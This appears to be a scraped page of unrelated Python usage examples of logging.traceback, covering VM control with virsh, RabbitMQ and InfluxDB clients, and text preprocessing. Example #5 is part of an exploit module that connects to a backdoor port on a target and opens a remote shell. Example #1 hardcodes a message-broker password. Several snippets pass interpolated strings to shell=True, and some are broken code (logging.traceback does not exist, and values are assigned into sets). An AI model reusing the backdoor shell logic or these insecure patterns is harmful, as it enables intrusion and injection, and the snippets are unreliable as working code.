Пример #1
0
def sendPubKey(name, ip):
    logger.info("sendPubKey")
    msg = {'name', 'ipv4_address', 'sshkey_path', 'error'}
    logger.info("isSend %d", isSend)
    if not isSend:
        return

    try:
        cmd = "%s %s %s %s %s %s %s" % (ssh_cmd_sh, dcm_user, dcm_ip, dcm_port,
                                        dcm_key, pubfile, dcm_pub_dir)
        p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
        #stdout_data, stderr_data = p.communicate()
        #logging.info("ssh %s %s", stdout_data, stderr_data)
        res = subprocess.check_output(cmd, shell=True)
        logging.info("ssh %s", res)
        msg['name'] = str(name)
        msg['ipv4_address'] = str(ip)
        msg['sshkey_path'] = str(dcm_pub_file)
        msg['error'] = 'success'
        credentials = pika.PlainCredentials('server3_agent', 'hfakf39s0T7')
        connection = pika.BlockingConnection(
            pika.ConnectionParameters('192.168.1.1', 5672, '/server3',
                                      credentials))
        channel = connection.channel()
        channel.queue_declare(queue='from_middleware_to_agent', durable=True)
        channel.basic_publish(exchange='',
                              routing_key='from_agent_to_middleware',
                              body=json.dumps(msg))
        connection.close()
        isSend = False
    except Exception as e:
        logging.traceback(e)
Пример #2
0
def virt_install(op, name, os, size, vcpu, ram):
    logger.info("virt_install")
    try:
        cmd = "%s %s %s %s %s %s %s" % (virsh_cmd_sh, op, name, os, size, vcpu, ram)
        logger.info(cmd)
        p = subprocess.Popen(cmd, shell=True)
        stdout_data, stderr_data = p.communicate()
        if (p.returncode == 0) :
            startTimer(name)
            if( os.path.isfile(pubfile) ) :
                os.remove(pubfile)
            msg = {
                'state' : 'starting',
                'error' : 'success'
            }
        else:
            msg = {
                'error' : 'failed'
            }
    except Exception as e:
        logging.traceback(e)
        msg = {
            'error' : 'failed'
        }
    logger.info(json.dumps(msg))
    return msg
Пример #3
0
def preprocess(
    input_string: str,
    preprocessing_steps: List[Callable[[Iterable], Iterable]] = [
        remove_punctuation,
        remove_stopwords,
    ],
) -> List[str]:
    """Preprocessess a string by applying a list of preprocessing steps.

    Args:
        input_string: The input string.
        preprocessing_steps: A list of functions that will be applied to ``input_string``.

    Returns:
        The list of preprocessed tokens.
    """
    try:
        preprocessed_tokens = truecase(input_string)
        preprocessed_tokens = tokenize(preprocessed_tokens)

        for step in preprocessing_steps:
            preprocessed_tokens = step(preprocessed_tokens)
        return list(preprocessed_tokens)
    except TypeError as ex:
        logging.traceback(ex)
Пример #4
0
    def start_poller(self, interval, method, args=None, kwargs=None):
        args = args or {}
        kwargs = kwargs or {}

        try:
            self.current_pollers.append((method, args, kwargs))
            self.program_next_poll(interval, method, args, kwargs)
        except Exception:
            logging.traceback()
Пример #5
0
    def run(self):
        self.getArgs()
        #thread off to listen for the post
        listenDaemon = threading.Thread(target=self.listen3010)
        listenDaemon.setDaemon(True)
        listenDaemon.start()
        time.sleep(2)
        #thread off to make the post
        sendPost = threading.Thread(target=self.makePost)
        sendPost.start()
        #self.makePost()
        time.sleep(3)
        #wait for the request to hit the listener
        self.host = self.target.interface
        self.port = 1337
        self.setInfo("%s attacking %s:%d (in progress)" %
                     (NAME, self.host, self.port))
        logging.info("Attacking %s:%d (in progress)" % (self.host, self.port))

        try:
            s = self.gettcpsock()
            s.connect((self.host, self.port))
        except socket.error:
            logging.info("Backdoor connection not successful")
            self.setProgress(-1)
            return 0
        telnetshell = Telnet()
        telnetshell.sock = s
        self.setProgress(80)
        try:
            # Success, convert to unixShellNode through shellfromtelnet.
            shell = shelllistener(shellfromtelnet(telnetshell),
                                  logfunction=self.logfunction)
        except:
            logging.info(
                "Could not make a shell listener - connection was closed. Exploit most likely failed"
            )
            import traceback
            print '-' * 60
            logging.traceback(file=sys.stdout)
            print '-' * 60
            self.setProgress(-1)
            return 0

        node = unixShellNode.unixShellNode()
        node.parentnode = self.argsDict["passednodes"][0]
        node.shell = shell
        self.setInfo("%s attacking %s:%d (success!)" %
                     (NAME, self.host, self.port))
        return node
def config_load(path):
    """
    Load a config file.

    :param path     File path (str)
    """
    try:
        with open(path, mode="r") as handle:
            file_content = handle.read()

        loaded_content = yaml.load(file_content)
        return loaded_content

    except IOError as exc:
        logging.traceback(exc)
        sys.exit(1)
Пример #7
0
def virsh_with_name(op, name):
    logger.info("virsh_with_name")
    msg = {'state', 'error'}
    try:
        cmd = "%s %s %s" % (virsh_cmd_sh, op, name)
        p = subprocess.Popen(cmd, shell=True)
        stdout_data, stderr_data = p.communicate()
        if (p.returncode == 0):
            msg['error'] = 'success'
            st = getState(name)
            msg['state'] = st
        else:
            msg['error'] = 'failed'
    except Exception as e:
        logging.traceback(e)
        msg['error'] = 'failed'
    logger.info(json.dumps(msg))
    return msg
Пример #8
0
def getPubKey(name):
    logger.info("getPubKey")
    try:
        if (getState(name) != 'active'):
            #virsh_with_name('start', name)
            cmd = "virsh start %s" % (name)
            p = subprocess.Popen(cmd, shell=True)
            p.communicate()

        cmd = "%s getip %s" % (virsh_cmd_sh, name)
        p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
        stdout_data, stderr_data = p.communicate()
        ip_addr = stdout_data.decode('utf-8')
        logging.info("ip %s", ip_addr)
        socket.inet_aton(ip_addr)
        if (os.path.isfile(pubfile)):
            sendPubKey(name, ip_addr)

    except Exception as e:
        logging.traceback(e)
Пример #9
0
def getState(name):
    logger.info("getState")
    try:
        cmd = "%s getstate %s" % (virsh_cmd_sh, name)
        #p = subprocess.Popen(cmd, shell=True)
        #stdout_data, stderr_data = p.communicate()
        #res = stdout_data.decode('utf-8')
        res = subprocess.check_output(cmd, shell=True)
        logging.info("state %s", res.decode('utf-8'))
        if res.decode('utf-8') in {'running'}:
            st = 'active'
        elif res.decode('utf-8') in {'paused'}:
            st = 'inactive'
        elif res.decode('utf-8') in {'shut off'}:
            st = 'stop'
        else:
            st = 'destroy'
    except Exception as e:
        logging.traceback(e)
        st = ''
    logger.info("st=%s" % st)
    return st
Пример #10
0
def handle_sysbench_file(path, name, instance):
    result = dict()
    with open(path + "/" + name, "r") as outfile:
        result = json.load(outfile)

    bench_type = result["bench_type"]

    client = InfluxDBClient('172.16.30.11', 8086, '', '', 'benchbot')
    old_result = client.query("""
                select * from benchbot
                where bench_method = '%s'
                and bench_type = '%s'
                and instance = '%s'
                order by time desc limit 1 """ %
                              (result["bench_method"], bench_type, instance))

    last_result = dict()
    if last_result is not None and len(list(old_result.get_points())) != 0:
        last_result = list(old_result.get_points())[0]

    if result["bench_time"] is None:
        result["bench_time"] = datetime.datetime.now()

    data = [{
        "measurement": "benchbot",
        "tags": {
            "bench_type": bench_type,
            "bench_method": result["bench_method"],
            "instance": instance,
            "tidb_commit": result["cluster_info"]["tidb"]["commit"],
            "tidb_branch": result["cluster_info"]["tidb"]["branch"],
            "tidb_build_time": result["cluster_info"]["tidb"]["build_time"],
            "tidb_tag": result["cluster_info"]["tidb"]["tag"],
            "pd_commit": result["cluster_info"]["pd"]["commit"],
            "pd_branch": result["cluster_info"]["pd"]["branch"],
            "pd_tag": result["cluster_info"]["pd"]["tag"],
            "pd_build_time": result["cluster_info"]["pd"]["build_time"],
            "tikv_commit": result["cluster_info"]["tikv"]["commit"],
            "tikv_branch": result["cluster_info"]["tikv"]["branch"],
            "tikv_tag": result["cluster_info"]["tikv"]["tag"],
            "tikv_build_time": result["cluster_info"]["tikv"]["build_time"]
        },
        "time": result.get("bench_time", datetime.datetime.now()),
        # "fields": result["bench_result"]}]
        "fields": {
            "tps_value":
            float(result.get("bench_result", {}).get("tps_value", 0)),
            "tps_deviation":
            float(result.get("bench_result", {}).get("tps_deviation", 0)),
            "tps_var":
            float(result.get("bench_result", {}).get("tps_var", 0)),
            "tps_std":
            float(result.get("bench_result", {}).get("tps_std", 0)),
            "qps_value":
            float(result.get("bench_result", {}).get("qps_value", 0)),
            "qps_deviation":
            float(result.get("bench_result", {}).get("qps_deviation", 0)),
            "qps_var":
            float(result.get("bench_result", {}).get("qps_var", 0)),
            "qps_std":
            float(result.get("bench_result", {}).get("qps_std", 0)),
            "lantency_avg_value":
            float(result.get("bench_result", {}).get("lantency_avg_value", 0)),
            "lantency_avg_deviation":
            float(
                result.get("bench_result", {}).get("lantency_avg_deviation",
                                                   0)),
            "lantency_avg_var":
            float(result.get("bench_result", {}).get("lantency_avg_var", 0)),
            "lantency_avg_std":
            float(result.get("bench_result", {}).get("lantency_avg_std", 0)),
            "lantency_95th_value":
            float(
                result.get("bench_result", {}).get("lantency_95th_value", 0)),
            "lantency_95th_deviation":
            float(
                result.get("bench_result", {}).get("lantency_95th_deviation",
                                                   0)),
            "lantency_95th_var":
            float(result.get("bench_result", {}).get("lantency_95th_var", 0)),
            "lantency_95th_std":
            float(result.get("bench_result", {}).get("lantency_95th_std", 0)),
            "time_elapsed":
            result.get("bench_result", {}).get("time_elapsed", 0)
        }
    }]

    try:
        client.write_points(data)
        # logging.info("writed %s to influxdb", result)
    except Exception as err:
        logging.error("write %s to influxdb", data)
        logging.traceback(err)
        sys.exit(1)

    return {
        "name": result["bench_method"],
        "current": result,
        "last_point": last_result
    }